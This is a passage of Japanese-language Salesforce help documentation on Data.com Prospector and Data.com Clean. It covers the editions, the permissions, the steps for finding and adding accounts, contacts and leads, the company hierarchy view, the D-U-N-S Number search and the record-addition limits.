トリーの計画、キャンペーンの分割、取引を行う新規取引先の検索、販売ネットワークの拡大に必要なデー
タを取得する最適な方法です。
Data.com Clean

Data.com Clean では、Dun & Bradstreet および Data.com からのデータを使用して、組織を最新の状態に保ちま
す。クリーンアップジョブを使用すると、定期的にレコードをクリーンアップできます。また、1 つのレ
コードやレコードのリストをクリーンアップすることもできます。
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データインテグレーション
データインテグレーションでは、Dun & Bradstreet、Data.com、およびサードパーティデータパッケージから
のデータを使用して、組織を最新の状態に保ちます。データインテグレーションルールを有効にすると、
データインテグレーションによって、ルールのデータサービスからのデータを使用して、レコードの一括
更新が行われます。データインテグレーションルールが有効になると、レコードを追加または変更した後
に必要に応じてそのレコードが更新されます。

関連トピック:

データインテグレーション
Data.com Clean

Salesforce での企業、取引先責任者、およびリードの見込み調査
自分の組織が所有する Data.com 製品を確認する方法は?

取引先、取引先責任者、およびリードレコードをクリーンアップするために組織で使用する必要がある製
品は?

http://www.salesforce.com/crm/data-editions-pricing/

Data.com Prospector

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスで使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

重要な Dun & Bradstreet の企業情報とクラウドソーシングした数百万もの取引先責
任者を検索して、ビジネスに必要なレコードを見つけるには、Data.com Prospector

を使用します。これらのレコードを新しい取引先、取引先責任者、およびリー
ドとして Salesforce に追加したり、他のアプリケーションで使用できるようにエ
クスポートしたりします。これは、営業テリトリーの計画、キャンペーンの分
割、取引を行う新規取引先の検索、販売ネットワークの拡大に必要なデータを
取得する最適な方法です。
すべてのユーザは、Data.com で取引先と取引先責任者を検索できます。Data.com

Prospector ライセンスを持つユーザは、次のことを実行できます。
• 取引先および取引先責任者を追加する。また、リードとして取引先責任者を

追加する。
• 取引先の取引先責任者を取引先レコードから直接追加する。
• Data.com から取引先と取引先責任者をエクスポートする。
• 取引先、取引先責任者、およびリードレコードが Data.comから追加されたか

どうかに関係なく、これらを手動で更新する。
• 取引先の業務、財務、競合会社、業界の詳細にプロスペクティングインサイトを取得する。
• 親子リレーションと取引先情報 (年間売上、会社形態、従業員数など) の会社階層ビューを取得する (Data.com

Prospector ユーザがベータ機能として使用可能)。
Data.com Prospectorには、Corporate Prospector と Premium Prospector の 2 つのバージョンがあります。Premium Prospector

には、取引先、取引先責任者、リードレコードへの追加または手動でのクリーンアップを行うため、さらに多
くの Dun & Bradstreet 項目が含まれます。Premium Prospector ユーザは、[会社階層]ページにもアクセスできます。
Salesforceヘルプでは、特に明記していない限りData.com Premium Prospectorを指します。Premium Prospector の詳細
は、Salesforce のアカウントマネージャにお問い合わせください。
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Dun & Bradstreet (D&B) 項目Data.com Prospector のバージョン

Dun & Bradstreet 項目の基本セット。Data.com Corporate Prospector

Dun & Bradstreet 項目の基本セットと、[D&B 企業] 項
目。この項目は、関連付けられた [D&B 企業]レコー

Data.com Premium Prospector

ドを、[D&B 企業]タブからアクセスできる 70 個以上
の追加の Dun & Bradstreet 項目にリンクします。[会社階
層]ページには、Dun & Bradstreet 企業リレーションの階
層ビューが表示されます。

Data.com Prospector Classic と Lightning Experience

Lightning Experience での見込み調査
Data.com 検索結果および関連機能へのアクセスの管理
Lightning のプロスペクティングインサイト

Salesforce Classic での見込み調査
取引先の業界、財務、競合会社のインサイトの取得
プロスペクティングインサイトデータの詳細

Salesforce での企業、取引先責任者、およびリードの見込み調査
Data.com Prospector を使用して、最も関心のある業種と場所で見込み客となる新規企業および取引先責任者
を調査できます。新規取引先、取引先責任者、およびリードレコードを Salesforce に追加したり、他のアプ
リケーションで使用できるようにエクスポートしたりできます。Dun & Bradstreet® の貴重な企業、業種、お
よび財務情報とクラウドソーシングされた数百万もの取引先責任者を検索して、必要なデータを必要なと
きに取得できます。
Lightning のプロスペクティングインサイト
Data.com プロスペクティングインサイトでは、Dun & Bradstreet 企業の詳細と業界インテリジェンスがスナッ
プショットにまとめられます。組織情報、取引先階層、関連業種へのリンクを示すタブがあり、見込み客
や顧客と効率的に会話を始めることができます。
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Salesforce での企業、取引先責任者、およびリードの見込み調査

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Prospector を使用して、最も関心のある業種と場所で見込み客となる新
規企業および取引先責任者を調査できます。新規取引先、取引先責任者、およ
びリードレコードを Salesforce に追加したり、他のアプリケーションで使用でき
るようにエクスポートしたりできます。Dun & Bradstreet®の貴重な企業、業種、お
よび財務情報とクラウドソーシングされた数百万もの取引先責任者を検索して、
必要なデータを必要なときに取得できます。

Salesforce での企業、取引先責任者、およびリードの見込み調査の考慮事項
ユーザが Data.comからレコードを検索および追加する場合、注意すべき重要
な制限事項がいくつかあります。
Salesforce での迅速な企業の見込み調査
Data.com Prospector ライセンスでは、最も関心のある業種と場所で新規企業を
簡単に検索できます。わずか数ステップで企業情報を新規取引先として
Salesforce に追加できます。
Salesforce Lightning で他の取引先を取得
Data.com Prospector ユーザは、数回クリックするだけで [取引先] ページから必要な取引先を見つけて組織に
追加できます。
Salesforce での迅速なリードの見込み調査
リードが必要ですか? Data.com Prospectorライセンスでは、最も関心のある企業、業種、および場所で取引先
責任者を検索できます。検索したレコードを新しいリードとして Salesforce に追加できます。
Salesforce での迅速な取引先責任者の見込み調査
取引先責任者が必要ですか? Data.com Prospectorライセンスでは、最も関心のある企業、業種、および場所で
取引先責任者を検索できます。検索したレコードを新しいリードとして Salesforce に追加できます。
取引先の主要な取引先責任者の見込み調査
いずれかの取引先で適切な取引先責任者を見つける必要がありますか? Data.com Prospectorライセンスでは、
役職、場所、および業種で企業の取引先責任者を簡単に検索できます。検索したレコードを 1 クリックで
Salesforce に追加できます。
Salesforce での Data.com 取引先責任者の見込み調査に関する考慮事項
Data.com Prospector ユーザは、数回クリックするだけで [取引先] ページから必要な取引先責任者を見つけて
組織に追加できます。
同じ会社階層の企業の見込み調査 (ベータ)

Data.com 会社階層は、Data.com の Dun & Bradstreet 企業データを使用して、会社の階層ビューを表示します。
親子リレーションと取引先情報 (年間売上、会社形態、従業員数など) が表示されます。
Salesforce での企業、取引先責任者、およびリードの見込み調査のガイドライン
Data.com Prospector で新規企業および取引先責任者を見込み客として調査するときに従うべきいくつかのガ
イドラインを確認してください。
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Salesforce での企業、取引先責任者、およびリードの見込み調査の考慮事項

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザが Data.com からレコードを検索および追加する場合、注意すべき重要な
制限事項がいくつかあります。
• Data.com 業種カテゴリ分類システムの [政府機関] の下にある下位業種は、

Data.com業種カテゴリと SIC システムの間の対応付け制限により、現在使用で
きません。

• デフォルトでは、Data.com Prospector ユーザライセンスが割り当てられている
各ユーザの 1 か月あたりのレコード追加上限は 300 件です。この数値は、契
約に基づいて調整できます。レコード追加件数は各月の最終日の午前 0 時 (組
織のデフォルトのタイムゾーンで決定) で有効期限が切れます。

• Data.com Prospector でユーザを有効にするたびに 1 つの Data.com Prospector ライ
センスが割り当てられます。

• Data.com Prospector のみを購入した組織の場合、ライセンスを持つユーザのみ
がレコードをクリーンアップできます。

• Data.com からレコードを追加する場合、年間売上は米ドルでのみ提供されま
す。米国ドル が組織の有効な通貨ではない場合、Data.com から追加されるレ
コードには、年間売上情報は含まれません。

関連トピック:

Salesforce での企業、取引先責任者、およびリードの見込み調査のガイドライン

Salesforce での迅速な企業の見込み調査

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com から取引先を追
加する
• 取引先に対する「作

成」

Data.com Prospector ライセンスでは、最も関心のある業種と場所で新規企業を簡
単に検索できます。わずか数ステップで企業情報を新規取引先として Salesforce

に追加できます。

段階的な手順: Salesforce で迅速に企業の見込み調査を行う
1. [Data.com] タブをクリックします。
2. [取引先の検索] をクリックします。
3. 検索条件を入力または選択します。[業種] 項目の選択ボックスをクリック

すると、業種セレクタが表示されます。ここでは、業種、副業種の幅広いリ
ストから選択する業種分類を使用して、検索条件の一部として業種クエリを
作成できます。[場所] 項目の選択ボックスをクリックすると、場所セレク
タが表示されます。ここでは、検索条件の一部として場所クエリを作成でき
ます。

4. [検索] をクリックします。結果は、有効な取引先責任者の数で並び替えられ
ます。
無効としてフラグ付けされたレコードを表示するには、[オプション] の [無
効なレコードを表示] を選択します。無効なレコードは でマークされま
す。
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5. 結果リストが長い場合、次の操作を実行できます。
• 任意のテーブルヘッダーで結果を並び替える。たとえば、[更新] ヘッダーでは最終更新日時で結果を

並び替えます。
• [ページ] 項目にページ番号を入力して、該当ページにジャンプする。
• 矢印をクリックしてページ間を移動する。

6. 探している内容が表示されない場合、結果を絞り込むには検索条件を使用します。必要に応じて、検索条
件カテゴリを展開します。範囲を入力するか、適用する検索条件の横にあるチェックボックスをオンにし
ます。

7. すべてまたは選択した取引先を Salesforce に追加します。
• すべての取引先を追加するには、[Salesforce に追加] をクリックして、[すべて] を選択します。
• 選択した取引先を追加するには、対象の取引先を選択し、[Salesforce に追加] をクリックして、[選択済

み] を選択します。

8. [次へ] をクリックします。
選択肢が重複している場合、Salesforce 組織で取引先レコードの重複が許可されていれば、レコードが追加
されます。200 を超えるレコードを追加すると数分かかる場合があります。このように多くのレコードを追
加する場合、プロセス完了時にメールで通知されます。

9. 確認メッセージから [取引先に移動] をクリックすると、[取引先] ホームページに新しいレコードのリスト
が表示されます。
Data.com Prospector を使用している場合、Data.com から取引先を追加すると、対応する D&B 企業レコード
(Data.comにある場合) が Salesforceで自動的に作成され、その [D&B 企業] 項目を介して取引先レコードにリ
ンクされます。

関連トピック:

Salesforce での企業、取引先責任者、およびリードの見込み調査のガイドライン
Data.com 検索について

Salesforce Lightning で他の取引先を取得

エディション

Data.com Prospector ライ
センスで使用可能なエ
ディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Prospector ユーザは、数回クリックするだけで [取引先] ページから必要
な取引先を見つけて組織に追加できます。
[他の取引先を取得]ボタンをクリックすると、Data.com取引先を見つけて組織に
追加できる対話型ダイアログが開きます。この合理化された操作性により、[取
引先] ページから直接、必要な取引先を必要なときに取得できます。
使用可能な検索条件を組み合わせて、必要な取引先を検索できます。
年間売上

論理演算子を選択し、年間売上値を入力します。これらの論理演算子を使用
して複数の [年間売上] 検索条件を追加できます。

会社名または Web サイト
会社名または Web サイトをすべてまたは一部入力します。
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州
州または自治的未編入領域のリストから選択します。

メモ: 州は、国に [アメリカ] を選択した場合のみ有効になります。

国
国のリストから選択します。

場所種別
使用可能な場所種別のリストから選択します。
• 支社 — 本社に対して従属的な位置付け。
• 本社 — 支社または報告を受ける関連子会社を持つ会社。
• 単一拠点 — 支社または関連子会社が存在しない会社。

Salesforce での迅速なリードの見込み調査

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com の取引先責任者
をリードとして追加する
• リードに対する「作

成」

リードが必要ですか? Data.com Prospectorライセンスでは、最も関心のある企業、
業種、および場所で取引先責任者を検索できます。検索したレコードを新しい
リードとして Salesforce に追加できます。
1. Data.com タブに移動します。
2. [取引先責任者の検索] タブを使用して、検索条件を入力または選択します。

[業種] 項目の選択ボックスをクリックすると、業種セレクタが表示されま
す。ここでは、業種、副業種の幅広いリストから選択する業種分類を使用し
て、検索条件の一部として業種クエリを作成できます。[場所] 項目の選択
ボックスをクリックすると、場所セレクタが表示されます。ここでは、検索
条件の一部として場所クエリを作成できます。

3. [検索] をクリックします。
結果はアルファベット順に並び替えられます。無効としてフラグ付けされた
レコードを表示するには、[オプション] の [無効なレコードを表示]を選択し
ます。無効なレコードは でマークされます。

4. 結果リストが長い場合、次の操作を実行できます。
• 任意のテーブルヘッダーで結果を並び替える。たとえば、[更新]ヘッダー

では最終更新日時で結果を並び替えます。
• [ページ] 項目にページ番号を入力して、該当ページにジャンプする。
• 矢印をクリックしてページ間を移動する。

並び替えとページナビゲーションは、レコード数が 100,000 未満のリスト
でのみ機能します。

5. 探している内容が表示されない場合、結果を絞り込むには検索条件を使用します。必要に応じて、検索条
件カテゴリを展開します。範囲を入力するか、適用する検索条件の横にあるチェックボックスをオンにし
ます。
このリストは自動的に更新されます。

6. 追加する取引先責任者を選択して、[Salesforce に追加] をクリックします。
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7. [リード] を選択してレコードをリードとして追加し、[次へ] をクリックします。
選択肢が重複している場合、Salesforce 組織でリードレコードの重複が許可されていれば、レコードが追加
されます。200 を超えるレコードを追加すると数分かかる場合があります。このように多くのレコードを追
加する場合、プロセス完了時にメールで通知されます。

8. [リードに移動] をクリックすると、[リード] ホームページに新しいレコードのリストが表示されます。
Data.com Prospector を使用している場合、Data.com からリードを追加すると、対応する D&B 企業レコード
(Data.comにある場合) が Salesforceで自動的に作成され、その [D&B 企業] 項目を介してリードレコードにリ
ンクされます。

関連トピック:

取引先の主要な取引先責任者の見込み調査

Salesforce での迅速な取引先責任者の見込み調査

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

取引先責任者の Data.com
を検索する
• 権限不要

Data.com 取引先責任者を
追加する
• 取引先責任者に対する

「作成」

取引先責任者を追加する
場合に取引先を作成する
• 取引先に対する「作

成」

取引先責任者が必要ですか? Data.com Prospectorライセンスでは、最も関心のある
企業、業種、および場所で取引先責任者を検索できます。検索したレコードを
新しいリードとして Salesforce に追加できます。
1. Data.com タブに移動します。
2. [取引先責任者の検索] タブを使用して、検索条件を入力または選択します。

[業種] 項目の選択ボックスをクリックすると、業種セレクタが表示されま
す。ここでは、業種、副業種の幅広いリストから選択する業種分類を使用し
て、検索条件の一部として業種クエリを作成できます。[場所] 項目の選択
ボックスをクリックすると、場所セレクタが表示されます。ここでは、検索
条件の一部として場所クエリを作成できます。

3. [検索] をクリックします。
結果はアルファベット順に並び替えられます。無効としてフラグ付けされた
レコードを表示するには、[オプション] の [無効なレコードを表示]を選択し
ます。無効なレコードは でマークされます。

4. 結果リストが長い場合、次の操作を実行できます。
• 任意のテーブルヘッダーで結果を並び替える。たとえば、[更新]ヘッダー

では最終更新日時で結果を並び替えます。
• [ページ] 項目にページ番号を入力して、該当ページにジャンプする。
• 矢印をクリックしてページ間を移動する。

並び替えとページナビゲーションは、レコード数が 100,000 未満のリスト
でのみ機能します。

5. 探している内容が表示されない場合、結果を絞り込むには検索条件を使用し
ます。必要に応じて、検索条件カテゴリを展開します。範囲を入力するか、
適用する検索条件の横にあるチェックボックスをオンにします。
このリストは自動的に更新されます。

6. すべてまたは選択した取引先責任者を Salesforce に追加します。
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• すべての取引先責任者を追加するには、[Salesforce に追加] をクリックして、[すべて] を選択します。
• 選択した取引先責任者を追加するには、まず対象の取引先責任者を選択し、[Salesforce に追加]をクリッ

クして、[選択済み] を選択します。
追加したレコード件数を示す確認メッセージが表示されます。

7. [取引先責任者] を選択します。
取引先責任者に関連付ける取引先を入力または選択します。関連付けることができる取引先は 1 つのみで
す。関連付ける取引先を作成する必要がある場合は、参照を使用します。

8. [次へ] をクリックします。
選択肢が重複している場合、Salesforce 組織で取引先責任者レコードの重複が許可されていれば、レコード
が追加されます。200 を超えるレコードを追加すると数分かかる場合があります。このように多くのレコー
ドを追加する場合、プロセス完了時にメールで通知されます。

9. [取引先に移動] をクリックして、取引先レコードに戻ります。

関連トピック:

Salesforce での企業、取引先責任者、およびリードの見込み調査のガイドライン
Data.com 検索について

取引先の主要な取引先責任者の見込み調査

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

取引先から Data.com 取引
先責任者を追加する
• 取引先に対する「参

照」

および

取引先責任者に対する
「作成」

いずれかの取引先で適切な取引先責任者を見つける必要がありますか? Data.com

Prospector ライセンスでは、役職、場所、および業種で企業の取引先責任者を簡
単に検索できます。検索したレコードを 1 クリックでSalesforceに追加できます。
開始前に、[取引先責任者を取得] ボタンが取引先ページレイアウトに追加され
ていることを確認します。
1. 追加する取引先責任者の取引先の詳細ページに移動します。
2. [取引先責任者を取得] をクリックします。ドロップダウンリストから、次の

いずれかを選択します。
• 結果をレベルまたは部署で絞り込むには、検索条件を選択します。
• 取引先のすべての取引先責任者を表示するには、[すべて...] を選択しま

す。
[Data.com] タブが開き、取引先名と選択した検索条件に一致する取引先責任者
のリストが表示されます。たとえば、Universal Telco 社のマネージャ取引先責
任者を取得する場合は、Universal Telco 社の取引先詳細ページに移動します。
[取引先責任者を取得]をクリックし、[レベル別]の下で、検索条件としてマ
ネージャレベルを選択します。[Data.com] タブが開き、Universal Telco 社のマネー
ジャのリストが表示されます。

3. さらに絞り込んだリストを表示する場合は、追加の検索条件を選択します。
必要に応じて、検索条件カテゴリを展開します。範囲を入力するか、適用す
る検索条件の横にあるチェックボックスをオンにします。

4. すべてまたは選択した取引先責任者を Salesforce に追加します。
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• すべての取引先責任者を追加するには、[Salesforce に追加] をクリックします。
• 選択した取引先責任者を追加するには、まず対象の取引先責任者を選択し、[Salesforce に追加]をクリッ

クして、[選択済み] を選択します。

5. 最初に詳細を表示した取引先に関連付けられた取引先責任者としてレコードを追加するには、[取引先責任
者] を選択します。
取引先責任者は、最初に詳細を表示した取引先に関連付けられます。

6. [次へ] をクリックして、レコードを追加します。
選択肢が重複している場合、Salesforce 組織で取引先責任者レコードの重複が許可されていれば、レコード
が追加されます。200 を超えるレコードを追加すると数分かかる場合があります。このように多くのレコー
ドを追加する場合、プロセス完了時にメールで通知されます。

7. [取引先に移動] をクリックして、取引先レコードに戻ります。

関連トピック:

Salesforce での迅速な取引先責任者の見込み調査
Salesforce での迅速なリードの見込み調査

Salesforce での Data.com 取引先責任者の見込み調査に関する考慮事項
Data.com Prospectorユーザは、数回クリックするだけで [取引先]ページから必要な取引先責任者を見つけて組織
に追加できます。

Data.com Prospector ライセンスで使用可能なエディション: Group Edition、Professional Edition、Enterprise Edition、
Performance Edition、および Unlimited Edition

[他の取引先責任者を取得] ボタンをクリックすると、Data.com 取引先責任者を見つけて組織に追加できる対話
型ダイアログが開きます。この合理化された操作性により、[取引先] ページから直接、必要な取引先責任者を
必要なときに取得できます。
[追加取引先責任者を取得] に関して理解しておくべき点のいくつかを次に示します。

説明制限事項

1 つの要求に最大 200 件の取引先責任者を追加できま
す。200 件を超える取引先責任者を選択すると、いく

最大 200 件の取引先責任者

つかの取引先責任者を選択解除するように求められま
す。

検索条件 • 検索条件は、論理 AND 演算子で接続されます。
• 各検索条件につき 1 つのみ追加します。各検索条

件につき複数追加すると、予測できない結果にな
る可能性があります。

• 部署  — スクロール可能なリストから 1 つ以上の部
署を選択します。
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説明制限事項

• レベル  — スクロール可能なリストから 1 つ以上の
レベルを選択します。

• 役職  — 1 つの役職、またはカンマ区切りの役職の
リストを入力します。

[追加取引先責任者を取得]はクリーンアップされてい
る取引先でのみ動作します。クリーンアップされた取

取引先はクリーンアップが必要

引先がData.comからインポートされているか、レコー
ドが組織に追加された後に組織が取引先をクリーン
アップしている必要があります。選択した取引先がク
リーンアップされていない場合、取引先のクリーン
アップ方法についてシステム管理者にお問い合わせく
ださい。

[他の取引先責任者を取得] リストビューでの取引先責任者の絞り込み
選択した取引先責任者で使用可能な Data.com の結果を絞り込み、必要な取引先責任者を追加します。

[他の取引先責任者を取得] リストビューでの取引先責任者の絞り込み
選択した取引先責任者で使用可能な Data.com の結果を絞り込み、必要な取引先責任者を追加します。
Data.com Prospector ライセンスが必要です。
絞り込む項目に応じて、異なるオプションが表示されます。役職、部署、およびレベルで絞り込むことができ
ます。
• 検索条件は、論理 AND 演算子で接続されます。
• 各検索条件につき 1 つのみ追加します。各検索条件につき複数追加すると、予測できない結果になる可能

性があります。
• 部署  — スクロール可能なリストから 1 つ以上の部署を選択します。
• レベル  — スクロール可能なリストから 1 つ以上のレベルを選択します。
• 役職  — 1 つの役職、またはカンマ区切りの役職のリストを入力します。
検索条件を使用して検索結果を絞り込むときに取引先責任者を識別するための新しいアイコンがいくつかあり
ます。

説明アイコン

この取引先責任者はすでに CRM に存在します。

組織はこの取引先責任者を所有しています。

1. [他の取引先責任者を取得] ダイアログから、 をクリックします。
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2. [検索条件を追加] をクリックします。
3. [新規検索条件] で、追加する検索条件を選択します。
4. [値] で、必要な値を選択または入力します。
5. [完了] をクリックします。
6. 別の検索条件を設定するには、[検索条件を追加] をクリックします。
7. 検索条件を削除するには、 をクリックします。
8. 検索条件を適用して保存するには、[保存] をクリックします。

同じ会社階層の企業の見込み調査 (ベータ)

Data.com会社階層は、Data.comの Dun & Bradstreet 企業データを使用して、会社の階層ビューを表示します。親子
リレーションと取引先情報 (年間売上、会社形態、従業員数など) が表示されます。
Data.com会社階層は Dun & Bradstreet データを使用して、取引先の関連会社との階層関係のビューを表示します。
取引先を Salesforce 組織に追加するには、取引先の横にある [取引先を追加] ボタンをクリックします。
会社階層はData.com Prospectorの一部として使用できます。階層には、会社エンティティ間のリレーションだけ
でなく、階層内のエンティティの関連する年間売上や従業員数も表示されます。コンテキストでは、エンティ
ティが取引先レコードとして存在するかどうかなどのSalesforce組織からの情報と、取引先所有者が階層に含ま
れます。営業担当はこの情報を使用して関連する見込み客を特定し、階層ビューから直接、取引先として簡単
に追加できます。
このリリースには、本番品質の Data.com 会社階層のベータバージョンが含まれています。会社階層について
フィードバックやご提案がある場合は、IdeaExchange からお寄せください。組織でのこの機能の有効化につい
ては、Salesforce にお問い合わせください。
Data.com 会社階層には、異なる会社種別とその関連性が表示されます。

説明会社種別

国内および国外の会社と関連子会社を統轄する、会社
階層構造で最上位にある組織エンティティ。

グローバル本社

1 国内で会社階層内の最上位にあるメンバー。通常、
国内本社はグローバル本社の傘下にあります。

国内本社

独自の支社、ディビジョン、または関連子会社を持
ち、傘下の会社に関する財務的責任を負う会社。

本社

本社に従属する拠点。支社

支社または関連子会社が存在しない会社。単一拠点

この会社は市場性がなく、レコードの詳細は意図的に
非表示になっています。このレコードは階層からは追

市場性なし

加できませんが、リンクされた有効な取引先を参照ま
たは追加できます。
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取引先の会社階層の表示
Data.com 会社階層には、取引先の階層関係および重要な取引先の詳細が表示されます。親子リレーション
と取引先情報 (年間売上、会社形態、従業員数など) が表示されます。
グローバル代表企業の D-U-N-S Number を使用した新規取引先の検索
Data.com Prospector を使用している場合、既存の取引先の会社階層に含まれる企業からビジネス相手となる
新規企業を簡単に見つけることができます。D&B 企業レコードから直接 [グローバル代表企業の D-U-N-S

Number] を使用して検索を実行します。同じ企業構造に含まれる他の企業を表示して、Salesforceに新規取引
先として追加できます。
同じ会社階層の取引先を Salesforce に追加するためのガイドライン
Data.com 会社階層は、Data.com で Dun & Bradstreet 企業レコードを検索し、会社のリンクを階層ビューに表示
します。会社階層から、取引先レコードを Salesforce に追加できます。会社階層から Data.com レコードを
Salesforce に追加する場合は、次のガイドラインに従ってください。

関連トピック:

Data.com Prospector および Data.com Clean のページレイアウトの設定

取引先の会社階層の表示

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスで使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com会社階層には、取引先の階層関係および重要な取引先の詳細が表示され
ます。親子リレーションと取引先情報 (年間売上、会社形態、従業員数など) が
表示されます。
1. 取引先詳細ページを開きます。
2. [Data.com 会社階層] をクリックします。

関連トピック:

Data.com Prospector および Data.com Clean のページレイアウトの設定
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グローバル代表企業の D-U-N-S Number を使用した新規取引先の検索

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com から取引先を追
加する
• 取引先に対する「作

成」

Data.com Prospector を使用している場合、既存の取引先の会社階層に含まれる企
業からビジネス相手となる新規企業を簡単に見つけることができます。D&B 企業
レコードから直接 [グローバル代表企業の D-U-N-S Number] を使用して検索を実行
します。同じ企業構造に含まれる他の企業を表示して、Salesforce に新規取引先
として追加できます。
グローバルグループ代表企業は、組織内で最も上位にある事業体で、9 桁のグ
ローバル代表企業の D-U-N-S Number で特定されます。グローバルグループ代表企
業と同じ企業構造に含まれるすべての企業は、同じグローバル代表企業の D-U-N-S

Number で特定されます。

メモ: グローバル代表企業の D-U-N-S Number で検索するには、D&B 企業ペー
ジレイアウトに [グローバル代表企業の D-U-N-S を検索] ボタンを追加す
る必要があります。

1. 同じグローバル代表企業の D-U-N-S Number を持つ取引先を検索する D&B 企業
レコードの詳細ページに移動します。

2. [グローバル代表企業の D-U-N-S を検索] をクリックします。
Data.com タブが表示され、D&B 企業レコードのグローバル代表企業の D-U-N-S

Number に一致する取引先のリストが表示されます。
3. 結果リストが長い場合、任意のテーブルヘッダーで結果を並び替えることが

できます。たとえば、[場所種別] ヘッダーでは、親会社、単一の事業所、支
店で結果を並び替えます。

4. 探している内容が表示されない場合、結果を絞り込むには検索条件を使用します。
5. 取引先サイトなど特定の取引先の詳細については、取引先名をクリックすると、その取引先カードが表示

されます。
6. すべてまたは選択した取引先を Salesforce に追加します。
7. 確認メッセージから [取引先に移動] をクリックすると、[取引先] ホームページに新しいレコードのリスト

が表示されます。
以下は、グローバル代表企業の D-U-N-S Number による検索実行時の考慮事項です。
• グローバル代表企業の D-U-N-S Number による検索結果には、Data.com内にある取引先のみが含まれます。そ

のため、企業構造の一部のメンバーがData.comに含まれていない場合、完全なグローバル代表企業の D-U-N-S

の結果を取得できない可能性があります。
• 条件を使用すると、グローバル代表企業の D-U-N-S Number の検索結果を絞り込むことができます。
• グローバル代表企業の D-U-N-S Number の検索結果からレコードをエクスポートすることができます。
• 検索は保存できません。

関連トピック:

Salesforce での迅速な企業の見込み調査
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同じ会社階層の取引先を Salesforce に追加するためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com 会社階層は、Data.com で Dun & Bradstreet 企業レコードを検索し、会社の
リンクを階層ビューに表示します。会社階層から、取引先レコードを Salesforce

に追加できます。会社階層からData.comレコードをSalesforceに追加する場合は、
次のガイドラインに従ってください。
• 緑色のドット ( ) が、Salesforce にすでに存在するレコードの横にある検索結

果に表示されます。Salesforce から最初にレコードを削除するか、組織で重複
を許可していない限り、これらのレコードを再度追加することはできませ
ん。

ヒント: レコードが Salesforce にすでに存在する場合は、緑色のドットに
マウスを置き、リンクをクリックすると、レコードに直接移動します。

• 会社階層から一度に追加できるレコードは 1 つのみです。
• レコードは、[Data.com キー] 項目に同じ Data.com ID 番号を持っている場

合に重複しているとみなされます。重複レコードが追加されても、レコード
追加残数に対してカウントされません。

• エラーが原因でレコードを Salesforce に追加できない場合は、ユーザに通知し、エラーの詳細を .csv ファイ
ルで提供します。

Salesforce での企業、取引先責任者、およびリードの見込み調査のガイドライン

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Prospector で新規企業および取引先責任者を見込み客として調査すると
きに従うべきいくつかのガイドラインを確認してください。
• 緑色のドット ( ) が、Salesforce にすでに存在するレコードの横にある検索結

果に表示されます。Salesforce から最初にレコードを削除するか、組織で重複
を許可していないかぎり、これらのレコードを再度追加することはできませ
ん。

ヒント: レコードが Salesforce にすでに存在する場合は、緑色のドットに
マウスを置き、リンクをクリックすると、レコードに直接移動します。

• 青色のチェックマーク ( ) が、Data.com からすでに購入済み (追加またはエ
クスポート済み) のレコードの横にある検索結果に表示されます。Data.com取
引先責任者または取引先を追加する場合、レコード追加残数にそれぞれカウ
ントされます。Data.com からエクスポートしたレコードを追加する場合、追
加したレコードは、レコード追加残数にカウントされません。

• 追加制限またはレコード追加残数に関係なく、一度に 1,000 件を超えるレコー
ドを手動で選択することはできません。

• 追加制限またはレコード追加残数に関係なく、一度に 100,000 件を超えるレコードを追加することはできま
せん。

• レコードは、[Data.com キー] 項目に同じData.com ID 番号を持っている場合に重複しているとみなされま
す。これには、取引先責任者およびリードの両方として Data.com から追加されたレコードが含まれます。
重複レコードが追加されても、レコード追加残数に対してカウントされません。
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• エラーが原因で 1 つ以上のレコードを Salesforce に追加できない場合は、ユーザに通知し、エラーの詳細を
.csv ファイルで提供します。

• 検索で大量の結果が返されると、11 ページ以降のデータは表示されません。この場合は、目的の結果を得
るために検索範囲を絞り込むことができます。「Data.com 検索結果の関連情報をすべて表示する方法は?」
を参照してください。

